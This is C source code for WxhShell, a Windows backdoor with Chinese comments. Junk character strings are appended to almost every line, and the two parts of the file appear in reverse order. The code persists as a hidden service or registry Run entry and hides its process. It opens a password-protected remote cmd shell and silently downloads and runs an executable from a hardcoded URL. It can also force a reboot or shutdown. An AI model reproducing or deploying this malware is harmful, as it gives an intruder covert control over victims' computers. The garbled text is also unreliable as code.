    if(Boot(SHUTDOWN)) :wCC^Y]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _6I>+9#C  
    else { SD I,M  
    closesocket(wsh); Bcm=G""  
    ExitThread(0); %#Q #N,fw  
    } 7eH@n <]Y2  
    break; /2'c>  
    } ;S =e%:zb  
  // 获取shell A'v[SUW'm  
  case 's': { _Fvsi3d/  
    CmdShell(wsh); Px#4pmz  
    closesocket(wsh); Sh47c4{  
    ExitThread(0); m[#%/  
    break; )XZ,bz*jn  
  } m-#d8sD2C  
  // 退出 ]=pWZ~A  
  case 'x': { 3DHvaq q7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {8i}Ow  
    CloseIt(wsh); L`bo#,eg6  
    break; ~l4Q~'  
    } Cj=J;^vf  
  // 离开 b6$4Ul-.  
  case 'q': { 8Nv-/VQ/b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,dq`EsHg`M  
    closesocket(wsh); {&b-}f"m  
    WSACleanup(); ^)'||Ly  
    exit(1); ,DQ >&_DK  
    break; rr6"Y&v  
        } Z~B+*HF  
  } 1r&AB!Z #  
  } QD6Z=>?S  
l>33z_H^  
  // 提示信息 ";58B} ki  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _"`/^L`Q?  
} P:vX }V |[  
  } zkvH=wL  
gGD]t;<u  
  return; [/n' @cjNZ  
} _c,&\ wl$  
LDSbd,GF  
// shell模块句柄 yl|R:/2V  
int CmdShell(SOCKET sock) PK9Qm'W b  
{ 0honHP  
STARTUPINFO si; r]Z.`}Kkm  
ZeroMemory(&si,sizeof(si)); T&e%/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DwQp$l'NfW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HJ(=?TU  
PROCESS_INFORMATION ProcessInfo; 1W4H-/Re  
char cmdline[]="cmd"; %0go%_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P}b Dn;  
  return 0; cbY3mSfn*  
}  &s_}u%iC  
96k(X LR  
// 自身启动模式 @)8NI[=6O  
int StartFromService(void) ROcY'-  
{ VdYOm  
typedef struct :K5V/-[|V1  
{ jh-kCF  
  DWORD ExitStatus; mRNHq3  
  DWORD PebBaseAddress; "otr+.{`*  
  DWORD AffinityMask; FkLQBpp(x  
  DWORD BasePriority; vHoT@E#}'  
  ULONG UniqueProcessId; ([ E#zrz%  
  ULONG InheritedFromUniqueProcessId; P[r}(@0rJ  
}   PROCESS_BASIC_INFORMATION; A89Y;_4y  
4 {uJ||!  
PROCNTQSIP NtQueryInformationProcess; 1"N/ZKF-x  
30:HRF(:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6!i( \Q*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h/w]  
sT@u3^>  
  HANDLE             hProcess; 6B4hSqjh  
  PROCESS_BASIC_INFORMATION pbi; <;.}WQC  
* N2#{eF&]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); * , |)~$=>  
  if(NULL == hInst ) return 0; nau~i1  
BNF++<s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s2kGU^]y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #p;4:IT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V/+H_=|  
_ +u sn.  
  if (!NtQueryInformationProcess) return 0; K7YT0cG  
9G=A)j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <5C=i:6%  
  if(!hProcess) return 0; xUV_2n+  
gogl[gHO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U!3uaz'  
&^"s=g.  
  CloseHandle(hProcess); +A;n*DF2  
+ ;{rU&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,=x.aX Spz  
if(hProcess==NULL) return 0; ixoMccU0  
zSX'  
HMODULE hMod; S+4I[|T]Y  
char procName[255]; Ta!m%=8  
unsigned long cbNeeded; >& 4I.nA  
(Qw`%B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~QQEHx\4zZ  
50O7=  
  CloseHandle(hProcess); ([z<TS#Md  
4'7 v!I9  
if(strstr(procName,"services")) return 1; // 以服务启动 #w[q.+A  
7cJO)cm0'  
  return 0; // 注册表启动 C"V?yDy2~  
} X}ey0)g%  
loAfFK>g  
// 主模块 (dw3'W  
int StartWxhshell(LPSTR lpCmdLine) hv_pb#1Ks  
{ g%KGF)+H  
  SOCKET wsl; 5G dY7t_1  
BOOL val=TRUE; IDL^0:eg<.  
  int port=0; y'i:%n}I  
  struct sockaddr_in door; bF8xQ<i~Y  
t(LlWd  
  if(wscfg.ws_autoins) Install(); ^$T!@ +:  
.F=<r-0  
port=atoi(lpCmdLine); MC[ `<W)u  
H-PW(  
if(port<=0) port=wscfg.ws_port; 3/#R9J#  
<%5-Pzp  
  WSADATA data; ` :B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kfG65aa>_  
j.G.Mx"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >8.v.;`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;8 /+wBnm  
  door.sin_family = AF_INET; +)''l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H_xQ>~b  
  door.sin_port = htons(port); ~ Iu21Q(*  
/I`!i K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9|?(GG  
closesocket(wsl); ;Fwm1ezx0  
return 1; nATfmUN L  
} \I`=JKYT  
LmT[N@>"  
  if(listen(wsl,2) == INVALID_SOCKET) { 8{U]ATx'(  
closesocket(wsl); !Barc ,kA  
return 1; 7o 83|s.Bm  
} W6!4Qyn  
  Wxhshell(wsl); U- UV<}  
  WSACleanup(); 2rE~V.)%  
&d &oP  
return 0; {O3oUE+  
d~xU?)n)  
} F"HI>t)>  
0'`8HP  
// 以NT服务方式启动 (Mire%$h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '"G %0y  
{ +h9l %Pz  
DWORD   status = 0; ""U?#<}GD  
  DWORD   specificError = 0xfffffff; MSm`4lw  
HK,G8:T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p.W*j^';Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; osgS?=8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AD4L`0D  
  serviceStatus.dwWin32ExitCode     = 0; ^QL/m\zq@%  
  serviceStatus.dwServiceSpecificExitCode = 0; OKLggim{  
  serviceStatus.dwCheckPoint       = 0; j@_) F^12  
  serviceStatus.dwWaitHint       = 0; W;)FNP|MT  
@{$Cv"6769  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e8ig[:B>+  
  if (hServiceStatusHandle==0) return; 1RUbY>K#U  
(w@MlMk  
status = GetLastError(); #B.w7y5*  
  if (status!=NO_ERROR) Osvz 3UMY3  
{ (^s&#_w03  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PU/Br;2A  
    serviceStatus.dwCheckPoint       = 0; "3KSmb   
    serviceStatus.dwWaitHint       = 0; ^5'/ }iR2N  
    serviceStatus.dwWin32ExitCode     = status; R4rm>zisVX  
    serviceStatus.dwServiceSpecificExitCode = specificError; O|7{%5h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ns(L1'9=  
    return; Vlxb<$5Nh  
  } yPxG`w'  
h/+I-],RF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9'*ZEl^?D  
  serviceStatus.dwCheckPoint       = 0; ^xkppN2  
  serviceStatus.dwWaitHint       = 0; nAba =iW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E+m"yQp{  
} RNrYT|  
ek.WuOs  
// 处理NT服务事件,比如:启动、停止 aSj1P/A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1b]PCNz  
{ qer'V  
switch(fdwControl) J7xT6Q=  
{ GPqB\bxb'  
case SERVICE_CONTROL_STOP: A(@gv8e[H^  
  serviceStatus.dwWin32ExitCode = 0; UEYM;$_@4o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EwBN+v;)  
  serviceStatus.dwCheckPoint   = 0; tP^mq>  
  serviceStatus.dwWaitHint     = 0; o:Os_NaD  
  { {@F["YPxy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5`{;hFl  
  } L) nVpqm   
  return; BnnUUaE  
case SERVICE_CONTROL_PAUSE: q?]@' ^:;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )D-.7m.v]  
  break; sq6%=(q(?  
case SERVICE_CONTROL_CONTINUE: m+8b2H:V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xS\QKnG.  
  break; W<hdb!bE  
case SERVICE_CONTROL_INTERROGATE: |I^Jn@Mq:  
  break; 9xS`@ "`  
}; n#L2cv~Aj"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @p` CAB  
} JE:n`l/p  
m ?"%&|  
// 标准应用程序主函数 gl\$jDC9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E `j5y(44  
{ /$.vHt 5nt  
@ un  
// 获取操作系统版本 ;gu>;_  
OsIsNt=GetOsVer(); RDZh>K PG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a4qpnr]0  
sluZ-,zE  
  // 从命令行安装 j[Zni D  
  if(strpbrk(lpCmdLine,"iI")) Install(); xW;[}t-QS  
G~hILW^  
  // 下载执行文件 o/[yA3^  
if(wscfg.ws_downexe) { wj5s5dH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T]Td4T!  
  WinExec(wscfg.ws_filenam,SW_HIDE); qsRfG~Cg  
} "91At b;hJ  
3 !w>"h0(  
if(!OsIsNt) { @`+$d=rO`  
// 如果时win9x,隐藏进程并且设置为注册表启动 gsq[ 9  
HideProc(); f(MHU   
StartWxhshell(lpCmdLine); LOG*K;v3  
} VGUDUM.8  
else 714nUA872  
  if(StartFromService()) 3R[J,go  
  // 以服务方式启动 E9*?G4P{l  
  StartServiceCtrlDispatcher(DispatchTable); 1YD.jU^;HD  
else Tvw2py q  
  // 普通方式启动 1~u\]Zi=D  
  StartWxhshell(lpCmdLine); j#>![km Mu  
xr3PO?:  
return 0; 1Y"qQp  
} Ri6 br  
=ZIFS  
 eV=sDx  
b0=AQ/:  
=========================================== jL).B&  
T:~W.3  
@' :um  
^^Q32XC,  
e6xjlaKb  
~zC fan/  
" Gz5@1CF  
|oi49:NXn  
#include <stdio.h> v6Wf7)d/1  
#include <string.h> VRP.tD  
#include <windows.h> [gr[0aGBc  
#include <winsock2.h> UT7lj wT  
#include <winsvc.h> sW3D ( n  
#include <urlmon.h> oc%le2   
Kf<_A{s  
#pragma comment (lib, "Ws2_32.lib") >@e%,z  
#pragma comment (lib, "urlmon.lib") ;9 n8on\  
r_Yl/WW  
#define MAX_USER   100 // 最大客户端连接数 `a-T95IFy  
#define BUF_SOCK   200 // sock buffer 'n.9qxY;  
#define KEY_BUFF   255 // 输入 buffer $=SYssg7La  
WY~[tBi\  
#define REBOOT     0   // 重启 1L qJ@v0  
#define SHUTDOWN   1   // 关机 rL/7wa  
&_9e g  
#define DEF_PORT   5000 // 监听端口 'eY[?LJ]U  
ddhTr i'f  
#define REG_LEN     16   // 注册表键长度 3evfX[V#  
#define SVC_LEN     80   // NT服务名长度 \gv x)S11  
v") W@haU  
// 从dll定义API 0=zS&xM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gCI'YEx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &: 8&;vk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "$;:dfrU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PH &ms  
$^ dk>Hj>4  
// wxhshell配置信息 JT^0AZ_*  
struct WSCFG { rX}==`#\  
  int ws_port;         // 监听端口 J0bs$  
  char ws_passstr[REG_LEN]; // 口令 (uz!:dkvx  
  int ws_autoins;       // 安装标记, 1=yes 0=no CPM6T$_qE  
  char ws_regname[REG_LEN]; // 注册表键名 3? CpylCO  
  char ws_svcname[REG_LEN]; // 服务名 R}<s~` Pl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JY8pV+q @=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]h$TgX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j=QjvWD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &c ~)z\$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X^^D[U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TL:RB)- <  
h;[Nc j]  
}; T=Q{K|JE  
,IATJs$E  
// default Wxhshell configuration hd%F7D5  
struct WSCFG wscfg={DEF_PORT, T5+b{qA  
    "xuhuanlingzhe", Ap9w H[H  
    1, hrt-<7U  
    "Wxhshell", :e vc  
    "Wxhshell", /! G0 g%k  
            "WxhShell Service", ~,7R*71  
    "Wrsky Windows CmdShell Service", k5 l~  
    "Please Input Your Password: ", hKeh9 Bt  
  1, YWF<2l.  
  "http://www.wrsky.com/wxhshell.exe", v]S8!wU  
  "Wxhshell.exe" bZfJG^3  
    }; %,RU)}  
eA^|B zU  
// 消息定义模块 =R`2m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !PbFo%)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ka [NYW{.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P*sCrGO%  
char *msg_ws_ext="\n\rExit."; Sd11ZC6  
char *msg_ws_end="\n\rQuit."; e 3oIoj4o  
char *msg_ws_boot="\n\rReboot..."; VH65=9z  
char *msg_ws_poff="\n\rShutdown..."; jK1! \j  
char *msg_ws_down="\n\rSave to "; El} z^e  
_%!hkc(  
char *msg_ws_err="\n\rErr!"; /omVM u  
char *msg_ws_ok="\n\rOK!"; Sp:de,9@  
.?:~s8kB  
char ExeFile[MAX_PATH]; }1 ^.A84a  
int nUser = 0; ~;Kl/Z  
HANDLE handles[MAX_USER]; IW*.B6Hw8  
int OsIsNt; 6 nhB1Aei  
8;rS"!qM  
SERVICE_STATUS       serviceStatus; {4*%\?c,n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \zyGJyy.  
xbA2R4|  
// 函数声明 n_glYSV!  
int Install(void); &t4(86Bmq  
int Uninstall(void); Vd~k4  
int DownloadFile(char *sURL, SOCKET wsh); +N:%`9}2V  
int Boot(int flag); 0[Aa2H*  
void HideProc(void); h 42?^mV4?  
int GetOsVer(void); &ayoTE^0,  
int Wxhshell(SOCKET wsl); TUr}p aw_  
void TalkWithClient(void *cs); 5~QB.m,>  
int CmdShell(SOCKET sock); RL9P:] ^  
int StartFromService(void); U"Oq85vY  
int StartWxhshell(LPSTR lpCmdLine); :wm^04<i   
EZV$1pa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1XRVbQt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XzsK^E0R  
5H2|:GzUc  
// 数据结构和表定义 )G&OX  
SERVICE_TABLE_ENTRY DispatchTable[] = Kfl+8UR5=  
{ ^;bkU|(`6  
{wscfg.ws_svcname, NTServiceMain}, ZS]e}]Zwp  
{NULL, NULL} ESI}+  
}; D%v yO_k  
Wd# 6Y}:  
// 自我安装 ]B||S7idq  
int Install(void) 'Ud5;?{  
{ zFIKB9NUn  
  char svExeFile[MAX_PATH]; $4pW#4/4  
  HKEY key; 8Qh/=Ir  
  strcpy(svExeFile,ExeFile); _i#Z'4?2E  
50A_+f.7%  
// 如果是win9x系统,修改注册表设为自启动 I'wAgf6W  
if(!OsIsNt) { eF@E|kK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fCR;Fk2B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i`;I"oY4  
  RegCloseKey(key); `x{gF8GV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :1Cc~+]w(u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OMU#Sx!6  
  RegCloseKey(key); Hn)=:lI  
  return 0; {[+gM?  
    } LtBH4 A  
  } Ql 1# l:Q  
} EC0auB7G  
else { K km7L-  
I\_R& v  
// 如果是NT以上系统,安装为系统服务 YX(%jcj*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W%o){+,  
if (schSCManager!=0) x4K5  
{ V<7Gd8rDMM  
  SC_HANDLE schService = CreateService 8}"j#tDc  
  ( )d~Mag+  
  schSCManager, *?S\0a'W@  
  wscfg.ws_svcname, Yu=^`I  
  wscfg.ws_svcdisp, {ig@Iy~DT  
  SERVICE_ALL_ACCESS, |j<'[gB\p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]F~5l?4u#  
  SERVICE_AUTO_START, #*~Uu.T  
  SERVICE_ERROR_NORMAL, -uZ^UG!K  
  svExeFile, ~+F: QrXcI  
  NULL, {mDaK&]Oh  
  NULL, 5V0=-K  
  NULL, ;&!l2UB%  
  NULL, =@'"\ "Nh  
  NULL G+}LLm.wX  
  ); +-"#GL~cC  
  if (schService!=0) HFazqQ[  
  { tkmW\  
  CloseServiceHandle(schService); pP#?|  
  CloseServiceHandle(schSCManager); tXx9N_/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LuVj9+1 S  
  strcat(svExeFile,wscfg.ws_svcname); a5iMCmL+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m:t $&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Sy#*  
  RegCloseKey(key); ,rKN/{M!  
  return 0; DCm;dh  
    } DuWP)#kg  
  } ~gf $ L9  
  CloseServiceHandle(schSCManager); LLE~V~j  
} ,#A,+!4  
} ) E\pQ5&  
@l8?\^N  
return 1; SCo9[EJ  
} eIO}/npT]Q  
[|YMnV<B  
// 自我卸载 ">o/\sXeH  
int Uninstall(void) :X#(T- !t  
{ E_OLf%um  
  HKEY key; x[X.// :  
D7 @10;F}[  
if(!OsIsNt) { ^V:YNUqp#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `'>>[*06:a  
  RegDeleteValue(key,wscfg.ws_regname); La!PG Z{  
  RegCloseKey(key); p4[W@JV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5^xt/vYa)  
  RegDeleteValue(key,wscfg.ws_regname); QqDF_  
  RegCloseKey(key); ps]6,@uyB  
  return 0; 3B0%:Jj  
  } ;# {x_>M  
} (7IF5g\  
}  LCG<  
else { _YY)-H  
}LRAe3N%8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I4*N  
if (schSCManager!=0) kB 2bT}  
{ sw&Qks? V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v6GWD}HH,  
  if (schService!=0)  u32<=Q[  
  { zb<+x(0y"  
  if(DeleteService(schService)!=0) { &$=F $  
  CloseServiceHandle(schService); WM#!X!Vo  
  CloseServiceHandle(schSCManager); AIeYy-f  
  return 0; @.0,k a,X  
  } "n\!y~:  
  CloseServiceHandle(schService); &.}zZ/  
  } ] !H<vR$8  
  CloseServiceHandle(schSCManager); #G,e]{gs  
} MLDuo|?  
} m4iR '~L}  
]mc,FlhU@  
return 1; B5cTzY.h-  
} , R)[$n  
CR/LV]G  
// 从指定url下载文件 $qvNv[  
int DownloadFile(char *sURL, SOCKET wsh) Eg9502Bl~8  
{ 4 (yHD  
  HRESULT hr; {hl_/ aG  
char seps[]= "/"; s(dox; d  
char *token; k91Y"_&  
char *file; 41.+3VP  
char myURL[MAX_PATH]; }"T:z{n  
char myFILE[MAX_PATH]; a-W&/  
2vwT8/  
strcpy(myURL,sURL); GP[$&8\M  
  token=strtok(myURL,seps); O~D}&M@/R  
  while(token!=NULL) 6hZhD1lDG^  
  { #<JrSl62(K  
    file=token; cr!I"kTgD  
  token=strtok(NULL,seps); QEVjXJOt0  
  } R =jK3yfw  
YP6+o#==  
GetCurrentDirectory(MAX_PATH,myFILE); )KNFS,5  
strcat(myFILE, "\\"); R6!3Y/Q@  
strcat(myFILE, file); 2@H~nw 0  
  send(wsh,myFILE,strlen(myFILE),0); $OJ*Kul  
send(wsh,"...",3,0); ^,X+ n5q;m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HCP Be2  
  if(hr==S_OK) /i]Gg \)  
return 0; eI[z%j[Y*  
else Yc %eTh  
return 1; v|hi;l@7E  
K+7xjFoDIR  
} K@fxCj*}  
i{,>2KVC|  
// 系统电源模块 xW09k6   
int Boot(int flag) 2|T@  
{ cz0tnF*&  
  HANDLE hToken; >#'6jm  
  TOKEN_PRIVILEGES tkp; b/ynCf8X  
bi5'-.B  
  if(OsIsNt) { cx02b-O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .`iq+i~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l"- D@]"  
    tkp.PrivilegeCount = 1; oU2RxK->u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C>;}CH|X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iU3co|q7  
if(flag==REBOOT) { NO<myN+N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J@$>d  
  return 0; uIR_p \)  
} X@cV']#V  
else { )TWf/L cp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c>^_4QQ  
  return 0; c{E-4PYbah  
} t512]eqhb(  
  } |[qI2-el?  
  else { aw,8'N)  
if(flag==REBOOT) { B1GSZUd^?0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $Fo ,$  
  return 0; iX,Qh2(ig  
} vEb~QX0~  
else { eBP N[V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o(a*Fk$  
  return 0; qaUHcdH  
} 2Zl65  
} U9@q"v-  
wU=(_S,c  
return 1; J3$ihH.  
} Ji7A9Hk  
;[|x5o /<  
// win9x进程隐藏模块 3~ qgvAr  
void HideProc(void) s^AYPmR6  
{ ,7'l$-rl  
xNx!2MrR;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *BF1 Sso  
  if ( hKernel != NULL ) f[z#=zv  
  { 3U}z?gP[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CfVz'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {d3r>Ub)7d  
    FreeLibrary(hKernel); :gR`rc!  
  } <}e<Zf!  
1mB6rp  
return; OtC/)sX  
} uW[ <?sFG  
yn7n  
// 获取操作系统版本 8>w/Es5  
int GetOsVer(void) KJ-D|N,8@^  
{ :>cJ[K?0  
  OSVERSIONINFO winfo; 'al-C;Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >-:U   
  GetVersionEx(&winfo); HO wJ 2L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gs. K,xma  
  return 1; DF-og*V  
  else aMzAA  
  return 0; ZGS=;jM  
} \zKVgywR  
s*S@} l  
// 客户端句柄模块 t!PFosFp  
int Wxhshell(SOCKET wsl) 1e&`m~5K+  
{ h[ t OY  
  SOCKET wsh; Y H?>2u  
  struct sockaddr_in client; *:_.cbo  
  DWORD myID; ]-0 &[@I4@  
[H"Ods~_`  
  while(nUser<MAX_USER) 7%0PsF _  
{ N!P* B $d  
  int nSize=sizeof(client); #$A6s~`B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wi&m(f(~  
  if(wsh==INVALID_SOCKET) return 1; }g`A*y;t  
JiRW|+`pe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {Xl 5F.q  
if(handles[nUser]==0) lD{9o2  
  closesocket(wsh); )`L!eN  
else  Z3I<  
  nUser++; ArF+9upGY  
  } k6dSj>F>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }+u<^7$g|  
j| 257D  
  return 0; Lrz>00(*4  
} DTJ~.  
}F^c*xt[  
// 关闭 socket aE:fMDS|x  
void CloseIt(SOCKET wsh) V{(ve#y7`{  
{ Ao0F?2|  
closesocket(wsh); ??k^Rw+0R  
nUser--; "F0,S~tZZ  
ExitThread(0); "--rz;+K  
} Ar>-xCT D  
6 Iup4sP  
// 客户端请求句柄 P$q IB[Xi  
void TalkWithClient(void *cs)  vH` u  
{ 'a4xi0**I  
@O4m-Oosi  
  SOCKET wsh=(SOCKET)cs; /Cwt4.5  
  char pwd[SVC_LEN]; R(Z2DEt</  
  char cmd[KEY_BUFF]; 398%16}  
char chr[1]; R|Ykez!D  
int i,j; T8ZsuKio]  
K+n6.BzW  
  while (nUser < MAX_USER) { m!v`nw]  
Mj[ v _&N  
if(wscfg.ws_passstr) { tdEu4)6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '?q|7[SU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~uV.jh  
  //ZeroMemory(pwd,KEY_BUFF); G`w7dn;&  
      i=0; Tl9_Wi  
  while(i<SVC_LEN) { {Rbc  
Ll&Y_Ry  
  // 设置超时 <~f/T]E,  
  fd_set FdRead; 2<<,aL*  
  struct timeval TimeOut; GT* \gZ  
  FD_ZERO(&FdRead); B<+}_3.  
  FD_SET(wsh,&FdRead); y|c]r!A  
  TimeOut.tv_sec=8; _e/v w:  
  TimeOut.tv_usec=0; m,Os$>{Ok  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .(3B}}gB>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W4T>@ b.  
(3 B; V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]W]Vkkg]  
  pwd=chr[0]; 0gxbo  
  if(chr[0]==0xd || chr[0]==0xa) { taI])  
  pwd=0; HHT K{X+  
  break; rW!P~yk  
  } \u:xDS(  
  i++; \O@,v0?R  
    } nIXq2TzJ  
RaG-9gujI  
  // 如果是非法用户,关闭 socket YW}1Mf=_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z[V|W  
} eBG7]u,Q  
O+c@B}[!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iv\?TAZC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {cC9 }w  
[O9(sWL'  
while(1) { )7:2v1Xr]  
nB"q  
  ZeroMemory(cmd,KEY_BUFF); C$Ldz=d  
u|B\@"0  
      // 自动支持客户端 telnet标准   R )ejIKtY  
  j=0; par $0z/  
  while(j<KEY_BUFF) { 91`biVZfA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G+=&\+{#4  
  cmd[j]=chr[0]; k$# @_  
  if(chr[0]==0xa || chr[0]==0xd) { #;>J<>  
  cmd[j]=0; uB0/H=<H  
  break; y~''r%]   
  } NSj}?hz  
  j++; g,mcxXO  
    } ~%(r47n  
61b,+'-  
  // 下载文件 MiAXbo#\  
  if(strstr(cmd,"http://")) { eRv3qK{`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |$^,e%bE  
  if(DownloadFile(cmd,wsh)) 1u 'x|Un  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{I|4h  
  else ?}lgwKBHl;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @4_W}1W  
  } GAEz :n  
  else { vD^^0-Pk6  
5fSDdaO  
